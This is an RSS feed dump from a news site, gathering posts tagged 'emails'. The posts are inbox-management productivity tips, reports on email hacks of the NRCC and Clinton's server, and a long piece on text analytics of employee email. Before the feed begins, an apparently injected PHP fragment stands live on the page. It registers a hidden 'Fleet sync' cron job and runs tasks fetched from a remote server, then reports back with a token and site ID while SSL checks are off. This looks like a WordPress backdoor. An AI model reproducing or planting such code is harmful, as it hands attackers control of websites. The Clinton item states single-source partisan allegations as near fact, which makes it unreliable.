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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); emails – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 10 Oct 2019 08:20:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png emails – Brief News https://briefnews.eu 32 32 Stop Old Emails From Stealing Your Awesomeness https://briefnews.eu/stop-old-emails-from-stealing-your-awesomeness/ https://briefnews.eu/stop-old-emails-from-stealing-your-awesomeness/#respond Thu, 10 Oct 2019 08:20:38 +0000 http://briefnews.eu/?p=255579 This article was originally published at ModelFA.com

stop old emails from stealing your awesomeness, Stop Old Emails from Stealing Your Awesomeness

Join our email count challenge!

Let me open this with a personal question.

How many e-mails in your inbox right now are more than two days old?

When I first start working with some of my clients, the number we begin with is often well over a thousand. Many of those emails go back weeks, months, and even years. It’s a vast digital cemetery of old assignments, meeting notes, expense reports, projects started and abandoned, commitments fulfilled and dropped … And that’s just their work inbox!

Whether you realize it or not, those old e-mails are vampires. They are distracting you and adding stress to your life. Your subconscious mind is spending energy on wondering what might be hiding inside those messages — and when you might call upon it to do something about them.

The only way to fix this (and to take back that energy) is to completely empty your e-mail inbox at least every couple of days.

Here’s how you can tackle your inbox right now — no matter where your email count stands!

Step 1: Get caught up.

Scan the most recent messages in your inbox (perhaps going back as far as two weeks). Are there any messages there that are urgent or important? If yes, capture the relevant details and identify your next actionable step.

A quick action might get accomplished right away. For example, if your next action is to email a client to remind him about submitting a document, you might choose to do it right away.

Other actions might require research and thought, but that’s not a good enough reason to keep them in the inbox. First, figure out your next action and add it to your to-do list. Once that’s done, you are ready to move that email out of the inbox into an action support, project, or reference folder.

Next, sort all the emails in your inbox by sender. Are there blocks that can be deleted with no regrets? Perhaps it’s promotional messages from LL Bean, a daily newsletter from Morningstar that you never read, or notifications from a Facebook group that you are a member in. Look for patterns, delete those blocks, and close the loop by unsubscribing from anything that doesn’t add value for you. Think of old subscriptions as a gift from your past self to your future self — and feel free to turn those “gifts” down if they no longer serve you.

Worry about deleting something important? Take a shortcut and archive it instead. This hack will effectively remove old emails from your inbox — but leave them within your reach should you change your mind.

Step 2: Have a plan to manage daily email flow.

When you empty your inbox consistently, you help your brain to let go of the subconscious anxiety that something in there might need your attention right now. Then, you can focus on what you are doing in the moment.

But this is harder than it sounds. You will need a plan for working with your email. Here are some suggestions to try on.

  • Designate specific time blocks when you will work with your emails.Yes, this means no more checking email as a background for other things you are doing. Your inbox is not a place to hide from doing work. It’s also not your to-do list, unless you happen to enjoy being driven by the “pings” of new messages coming in. Set aside 1-3 stretches when you will log in and work through whatever has landed in your inbox. For the rest of the day, work from your agenda.
  • Worry about missing an urgent message that requires your immediate attention?Then you might add a few “email scans” to your routine. During an email scan, you are merely monitoring your inbox for fire-drills. If there are none, you set it aside until your next email work block.
  • Every email only gets touched one time.Open it. Read it from start to finish. Decide what you must do next. If that action takes less than 2 minutes, do it right away. If the action will take time and thought, file it with the appropriate project to address later. If the email doesn’t call for your action, archive or file it away for reference.
  • Have an email that’s confusing, technical, or just plain hard to read? Take a deep breath. Set a timer for one full minute. And get to reading it. Pushing through it for one minute is better than abandoning it 3 sentences in — and having it consume your precious mind-space for the rest of the day.

Step 3: If you fall off the wagon — just get back on!

Nobody is perfect, and even the most serious Inbox Zero devotees can sometimes end up with a few days’ (or weeks’) worth of messages sitting there.

If that happens to you, that’s OK. Schedule a block of time to deal with your email backlog. Work through it. No judgment. You have a system; you just need to remember to use it.

Now, I know what you may be thinking. Who has the time to empty their inbox every day?

Think about it this way. Who has the time to be distracted? You have a long project list. You have big goals and dreams. You have important things to accomplish!

Every day presents you with a choice. Will you show up as awesome — or distracted? Your clients, your colleagues, and your family need you present, energized, and focused. They deserve it. And you deserve it, too.

So, take your first step towards getting that inbox under control!

Have questions about tailoring these recommendations? Or maybe a specific email roadblock that trips you up every time? Sound off in the comments — I would love to help. 

]]> https://briefnews.eu/stop-old-emails-from-stealing-your-awesomeness/feed/ 0 Thou Shalt Not Use Email Notifications! https://briefnews.eu/thou-shalt-not-use-email-notifications/ https://briefnews.eu/thou-shalt-not-use-email-notifications/#respond Mon, 23 Sep 2019 20:44:08 +0000 http://briefnews.eu/?p=255243 Article was originally published on ModelFA.

email notifications, Thou Shalt Not Use Email Notifications!

Here’s a question for you. Between this morning and right now, how many times did your computer or phone chime at you to let you know you just got another email?

Chances are, your number is somewhere around a dozen or more.

Many advisors think that keeping those alerts turned on is no big deal. After all, who would want to miss a critical, time-sensitive message? What if a journalist on a deadline wanted to get a quote from you? Or what if a client had an urgent question about his portfolio?

And so, “new message” alerts continue to ping throughout the day. Some of those emails are informative. Others are fun. Many are a complete waste of time. But here’s what unites them all: they kill your productivity.

Two reasons to stop email notifications from ruining your day

There are at least two reasons why you should turn off your email notifications right now and never look back.

One, chances are that any given new email is more exciting, interesting, or entertaining than whatever project you are slogging through. And so, your brain welcomes the distraction.

Two, it’s easy to rationalize that one little email won’t hurt your productivity that bad. Besides, taking short breaks is good for you!

Put those two reasons together, and you begin to see that email notifications will conspire with your brain’s natural chemistry, causing you to get distracted dozens of times before lunch. And yes, that one email might be short enough. But the truth is that it will take you a long time to get back into the working groove!

What’s even worse, allowing your email inbox to drive your workflows is a big strategic mistake. It’s a certain path to doing busywork instead of focusing on important projects and deadlines that will move you and your practice forward.

See also: Stop old emails from stealing your awesomeness

Disable email notifications to boost your productivity

Email should be your means of connecting with the world, collaborating with your team, and helping your clients.

To accomplish that, email does not need to generate any reminders, unread badges, or pings. However, it does need to take its place as a tool in your toolbox — not your boss, whip, entertainment, or treat.

So, go into your email settings and turn off notifications. Don’t worry, you won’t forget that you have an email inbox. You don’t need anything to remind you to check your messages periodically!

Now, designate a couple of time slots per day when you will work with your email. That’s right. You won’t scroll through it looking for the most exciting or fun email while skipping over any messages that look hard or boring. Instead, once or twice per day, you will methodically read every email, take (or note) your next action, and move the email out of your inbox.

But what about emergencies?

In my experience, the fear of missing an extremely time-sensitive message is over-rated.

Think about it. How often is an email so important that you absolutely must stop what you are doing and read it immediately?

The truth is that you get many important emails every day. Most of them can wait until you are finished with whatever you are focusing on. If it’s a true emergency, it shouldn’t be in your e-mail at all!

And, if you are worried about missing something time-sensitive, add a couple of email scans to your daily schedule. During a scan, you are simply monitoring your inbox for anything that might demand your immediate attention. And, you guessed it, scans aren’t happening throughout the day whenever you feel like taking a break. These are scheduled interruptions that allow you to get in and out of your inbox quickly — so that you can get back to work.

I leave you with this reminder.

Your attention is even more valuable than your time. Guard it like it’s priceless.

Have you turned off your email notifications? If so, what’s your advice and best practices for those who are on the fence? Sound off in the comments, I’d love to hear from you.

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An email intrusion targeting a key Republican campaign committee allowed unknown people to steal thousands of sensitive emails from four senior aides, Politico reported Tuesday.

The attack on the National Republican Congressional Committee, the main group that works to elect Republicans to the US House of Representatives, allowed the person or group responsible to monitor the aides’ email accounts for several months, Politico said. The intrusion was detected in April by a managed security services provider the NRCC had retained to monitor the security of its network.

The unnamed provider informed NRCC officials, who in turn alerted security firm Crowdstrike. Crowdstrike, which was called in to investigate the Russian government’s 2016 hack of the Democratic National Committee, had already been retained by the NRCC when the intrusion was discovered in April, Politico said.

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]]> https://briefnews.eu/thousands-of-sensitive-emails-stolen-in-intrusion-of-republican-campaign-arm/feed/ 0 Ivanka Trump’s Emails Top This Week’s Internet News Roundup https://briefnews.eu/ivanka-trumps-emails-top-this-weeks-internet-news-roundup/ https://briefnews.eu/ivanka-trumps-emails-top-this-weeks-internet-news-roundup/#respond Sun, 25 Nov 2018 19:40:04 +0000 http://briefnews.eu/ivanka-trumps-emails-top-this-weeks-internet-news-roundup/ What had the internet talking last week? Jim Acosta’s press pass, Matthew Whitaker, and Ivanka Trump’s emails.


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]]> https://briefnews.eu/amazon-exposes-emails-insurance-company-surveillance-and-more-security-news-this-week/feed/ 0 'Are they sure it wasn't the Russians?' Clinton's emails were reportedly hacked by China https://briefnews.eu/are-they-sure-it-wasnt-the-russians-clintons-emails-were-reportedly-hacked-by-china/ https://briefnews.eu/are-they-sure-it-wasnt-the-russians-clintons-emails-were-reportedly-hacked-by-china/#respond Wed, 29 Aug 2018 07:40:41 +0000 http://briefnews.eu/are-they-sure-it-wasnt-the-russians-clintons-emails-were-reportedly-hacked-by-china/ China allegedly had unimpeded access to all of Hillary Clinton’s communications through her private server when she was the Secretary of State, after planting a malware that copied emails in real time, a new report claims.

The report by the Daily Caller alleges that a Chinese-owned entity, controlled by Beijing, embedded malignant code into the private server former Secretary of State and Democratic presidential candidate Clinton used for handling her correspondence, both personal and work-related, including that which included confidential information with up to top secret classification.

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Using this code, the Chinese firm, said to be operating in Washington’s northern Virginia suburbs, had a full access to emails Clinton sent through “courtesy copies” it received in real time, the report claims, citing “sources briefed on the matter.”

According to the Daily Caller, the Intelligence Community Inspector General (ICIG) became aware of the “anomaly” in early 2015 and promptly alerted the FBI. ICIG investigator Frank Rucker and attorney Janette McMillan then repeatedly met with FBI agents to brief them on the matter, including with the notorious Peter Strzok. Strzok is a disgraced former member of FBI Special Counsel Robert Mueller’s team, which has been seeking evidence of US President Donald Trump’s collusion with the Russians to no avail so far.

Strzok, known for injecting a personal anti-Trump vibe into his investigations, was once among those who led the agency’s “Midyear Exam” investigation into Clinton’s use of a private email server during her tenure at the US State Department.

At a July 18 hearing at the House Judiciary Committee, Strzok claimed he did meet Rucker on several occasions, but could not recall the subject matter of their conversations.

At the time, Gohmet accused Strzok of failing to act on the intelligence he allegedly received from the ICIG investigator, that a certain “anomaly” was uncovered on Clinton’s server making “every single one except for four” out of some 30,000 emails on it being forwarded to an address that was not included on the distribution list. Gohmet stressed that the entity that received the emails was a foreign one but unrelated to Russia.

Although the name of the company that allegedly tapped into Clinton’s private server is not disclosed in the report, a former intelligence official told the Daily Caller that it was a public company, not a tech one, but widely known to be the Chinese government’s intelligence collection arm.

The potentially explosive revelation has caught attention of US President Donald Trump, who took to Twitter to tease Russiagaters.

“Are they sure it wasn’t Russia (just kidding!)? What are the odds that the FBI and DOJ are right on top of this? Actually, a very big story. Much classified information!” Trump tweeted on Tuesday.

It remains to be seen if the hacking allegations against China will be given as much spotlight as those against Russia, however. Back in July, the Mueller team claimed in the indictment that alleged Russian hackers tried to hack into Clinton’s private server “for the first time” on July 27, 2016, after “invited” by Trump who jokingly said he hopes Russia will be able to “find the 30,000 emails that are missing” from Clinton’s private server.

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]]> https://briefnews.eu/are-they-sure-it-wasnt-the-russians-clintons-emails-were-reportedly-hacked-by-china/feed/ 0 The feds are looking into bank transactions a GOP operative conducted during an independent search for Hillary Clinton’s emails https://briefnews.eu/the-feds-are-looking-into-bank-transactions-a-gop-operative-conducted-during-an-independent-search-for-hillary-clintons-emails/ https://briefnews.eu/the-feds-are-looking-into-bank-transactions-a-gop-operative-conducted-during-an-independent-search-for-hillary-clintons-emails/#respond Sat, 11 Aug 2018 03:56:15 +0000 http://briefnews.eu/the-feds-are-looking-into-bank-transactions-a-gop-operative-conducted-during-an-independent-search-for-hillary-clintons-emails/ Hillary Clinton emails 2016 electionDrew Angerer/Getty Images

  • Federal investigators are looking into bank transactions conducted by a GOP operative who launched an independent effort to find Hillary Clinton’s emails during the 2016 election.
  • At the time, Peter W. Smith made clear that he wanted to uncover messages sent through Clinton’s private email server and expose them during what was an already heated electoral contest between Clinton and then-candidate Donald Trump.
  • According to a BuzzFeed News report published Friday, investigators are focusing on a series of cash transactions Smith allegedly conducted at key points during the search effort.
  • Those transactions include a $ 9,500 withdrawal from an account linked to a shell company Smith set up as part of the email search. He allegedly deposited those funds into his personal bank account, withdrew about $ 5,000 of it, and “sent checks to an accountant and an LLC controlled by a private real estate company.”

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Federal investigators are trying to make sense of some bank transactions conducted by a man who launched an independent effort to find Hillary Clinton’s emails at the height of the 2016 election.

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]]> https://briefnews.eu/the-feds-are-looking-into-bank-transactions-a-gop-operative-conducted-during-an-independent-search-for-hillary-clintons-emails/feed/ 0 What Your Boss Could Learn by Reading the Whole Company’s Emails https://briefnews.eu/what-your-boss-could-learn-by-reading-the-whole-companys-emails/ https://briefnews.eu/what-your-boss-could-learn-by-reading-the-whole-companys-emails/#respond Wed, 08 Aug 2018 16:32:58 +0000 http://briefnews.eu/what-your-boss-could-learn-by-reading-the-whole-companys-emails/ When Andrew Fastow, the former chief financial officer of Enron, finishes a public-speaking gig these days, a dozen or so people from the audience are typically waiting to talk to him. Some ask about his role in the scandal that brought down the energy company. Others want to know about his six years in prison. After a 2016 event in Amsterdam, as the crowd was thinning out, Fastow spotted two men standing in a corner. Once everyone else had left, they walked up to him and handed him a laminated chart.

The men were there on behalf of KeenCorp, a data-analytics firm. Companies hire KeenCorp to analyze their employees’ emails. KeenCorp doesn’t read the emails, exactly—its software focuses on word patterns and their context. The software then assigns the body of messages a numerical index that purports to measure the level of employee “engagement.” When workers are feeling positive and engaged, the number is high; when they are disengaged or expressing negative emotions like tension, the number is low.

The two men in Amsterdam told Fastow that they had tested the software using several years’ worth of emails sent by Enron’s top 150 executives, which had become publicly available after the company’s demise. They were checking to see how key moments in the company’s tumultuous collapse would register on the KeenCorp index. But something appeared to have gone wrong.

The software had returned the lowest index score at the end of 2001, when Enron filed for bankruptcy. That made sense: Enron executives would have been growing more agitated as the company neared insolvency. But the index had also plummeted more than two years earlier. The two men had scoured various books and reports on Enron’s downfall, but it wasn’t clear what made this earlier date important. Pointing to the sudden dip on the left side of the laminated chart, they told Fastow they had one question: “Do you remember anything unusual happening at Enron on June 28, 1999?”

The so-called text-analytics industry is booming. The technology has been around for a while—it powers, among other things, the spam filter you rely on to keep your inbox manageable—but as the tools have grown in sophistication, so have their uses. Many brands, for instance, rely on text-analytics firms to monitor their reputation on social media, in online reviews, and elsewhere on the web.

Text analytics has become especially popular in finance. Investment banks and hedge funds scour public filings, corporate press releases, and statements by executives to find slight changes in language that might indicate whether a company’s stock price is likely to go up or down; Goldman Sachs calls this kind of natural-language processing “a critical tool for tomorrow’s investors.” Specialty-research firms use artificial-intelligence algorithms to derive insights from earnings-call transcripts, broker research, and news stories.

Does text analytics work? In a recent paper, researchers at Harvard Business School and the University of Illinois at Chicago found that a company’s stock price declines significantly in the months after the company subtly changes descriptions of certain risks. Computer algorithms can spot such changes quickly, even in lengthy filings, a feat that is beyond the capacity of most human investors. The researchers cited as an example NetApp, a data-management firm in Silicon Valley. NetApp’s 2010 annual report stated: “The failure to comply with U.S. government regulatory requirements could subject us to fines and other penalties.” Addressing the same concern in the 2011 report, the company clarified that “failure to comply” applied to “us or our reseller partners.” Even a savvy human stock analyst might have missed that phrase, but the researchers’ algorithms set off an alarm.

Granted, the study scoured old filings; the researchers had the benefit of hindsight. Still, a skeptical investor, armed with the knowledge that NetApp had seen fit to make this change, might have asked herself why. If she’d turned up an answer, or even just found the change worrying enough to sell her stock, she’d have saved a fortune: Embedded in that small edit was an early warning. Six months after the 2011 report appeared, news broke that the Syrian government had purchased NetApp equipment through an Italian reseller and used that equipment to spy on its citizens. By then, NetApp’s stock price had already dropped 20 percent.

While text analytics has become common on Wall Street, it has not yet been widely used to assess the words written by employees at work. Many firms are sensitive about intruding too much on privacy, though courts have held that employees have virtually no expectation of privacy at work, particularly if they’ve been given notice that their correspondence may be monitored. Yet as language analytics improves, companies may have a hard time resisting the urge to mine employee information.

One obvious application of language analysis is as a tool for human-resources departments. HR teams have their own, old-fashioned ways of keeping tabs on employee morale, but people aren’t necessarily honest when asked about their work, even in anonymous surveys. Our grammar, syntax, and word choices might betray more about how we really feel.

Take Vibe, a program that searches through keywords and emoji in messages sent on Slack, the workplace-communication app. The algorithm reports in real time on whether a team is feeling disappointed, disapproving, happy, irritated, or stressed. Frederic Peyrot, one of Vibe’s creators, told me Vibe was more an experiment than a product, but some 500 companies have tried it.

Keeping tabs on employee happiness is crucial to running a successful business. But counting emoji is unlikely to prevent the next Enron. Does KeenCorp really have the ability to uncover malfeasance through text analysis?

That question brings us back to June 28, 1999. The two men from KeenCorp didn’t realize it, but their algorithm had, in fact, spotted one of the most important inflection points in Enron’s history. Fastow told me that on that date, the company’s board had spent hours discussing a novel proposal called “LJM,” which involved a series of complex and dubious transactions that would hide some of Enron’s poorly performing assets and bolster its financial statements. Ultimately, when discovered, LJM contributed to the firm’s undoing.

According to Fastow, Enron’s employees didn’t formally challenge LJM. No one went to the board and said, “This is wrong; we shouldn’t do it.” But KeenCorp says its algorithm detected tension at the company starting with the first LJM deals.

Today, KeenCorp has 15 employees, half a dozen major clients, and several consultants and advisers—including Andy Fastow, who told me he had been so impressed with the algorithm’s ability to spot employees’ concerns about LJM that he’d decided to become an investor. Fastow knows he’s stuck with a legacy of unethical and illegal behavior from his time at Enron. He says he hopes that, in making companies aware of KeenCorp’s software, he can help “prevent similar situations from occurring in the future.”

I was skeptical about KeenCorp at first. Text analysis after the fact was one thing, but could an analysis of employee emails actually contain enough information to help executives spot serious trouble in real time? As evidence that it can, KeenCorp points to the “heat maps” of employee engagement that its software creates. KeenCorp says the maps have helped companies identify potential problems in the workplace, including audit-related concerns that accountants failed to flag. The software merely provides a warning, of course—it isn’t trained in the Sarbanes-Oxley Act. But a warning could be enough to help uncover serious problems.

Such early tips might also become an important tool to help companies ensure that they are complying with government rules—a Herculean task for firms in highly regulated fields like finance, health care, insurance, and pharmaceuticals. An early-warning system, though, is only as good as the people using it. Someone at the company, high or low, has to be willing to say something when the heat map turns red—and others have to listen. It is hard to imagine Enron’s directors heeding any warning about the use of complex financial transactions in 1999—the bad actors included the CEO, and we know that whistle-blowers at the company were ignored.

The potential benefits of analyzing employee correspondence must also be weighed against the costs: In some industries, like finance, the rank and file are acutely aware that everything they say in an email can be read by a higher-up, but in other industries the scanning of emails, however anonymous, will be viewed as intrusive if not downright Big Brotherly.

But it is managers who might have the most to fear from text-analysis tools. Viktor Mirovic, KeenCorp’s CFO, told me that the firm’s software can chart how employees react when a leader is hired or promoted. And one KeenCorp client, he said, investigated a branch office after its heat map suddenly started glowing and found that the head of the office had begun an affair with a subordinate.

When I asked Mirovic about privacy concerns, he said that KeenCorp does not collect, store, or report any information at the individual level. According to KeenCorp, all messages are “stripped and treated so that the privacy of individual employees is fully protected.” Nevertheless, Mirovic concedes that many companies do want to obtain information about individuals. Those seeking that information might turn to other software, or build their own data-mining system.

Text analysis is a fledgling technology. It remains unclear how often such tools might suggest a problem when none exists, and not all wrongdoing will register on a heat map, no matter how finely tuned.

Still, a market will surely emerge for services claiming that they can find useful information in our work emails. Adam Badawi, a colleague of mine at UC Berkeley, uses natural-language algorithms to assess regulatory filings. He predicts that text analytics will become part of legal-and-compliance culture as the tools grow more sophisticated. Firms will want to protect themselves from liability by examining employee communications more comprehensively, particularly with respect to allegations of bias, fraud, and harassment. “This is something companies are hungry for,” Badawi told me.

In an ideal world, employees would be honest with their bosses, and come clean about all the problems they observe at work. But in the real world, many employees worry that the messenger will be shot; their worst fears stay bottled up. Text analytics might allow firms to gain insights from their employees while intruding only minimally on their privacy. The lesson: Figure out the truth about how the workforce is feeling not by eavesdropping on the substance of what employees say, but by examining how they are saying it.

This article appears in the September 2018 print edition with the headline “The Secrets in Your Inbox.”

]]> https://briefnews.eu/what-your-boss-could-learn-by-reading-the-whole-companys-emails/feed/ 0 Ford’s Train Station, Elon’s Angry Emails, and More Car News https://briefnews.eu/fords-train-station-elons-angry-emails-and-more-car-news/ https://briefnews.eu/fords-train-station-elons-angry-emails-and-more-car-news/#respond Sun, 24 Jun 2018 20:26:30 +0000 http://briefnews.eu/fords-train-station-elons-angry-emails-and-more-car-news/ Plus, VW builds an electric racer for a mountain climb, and Colorado sticks it to the EPA.


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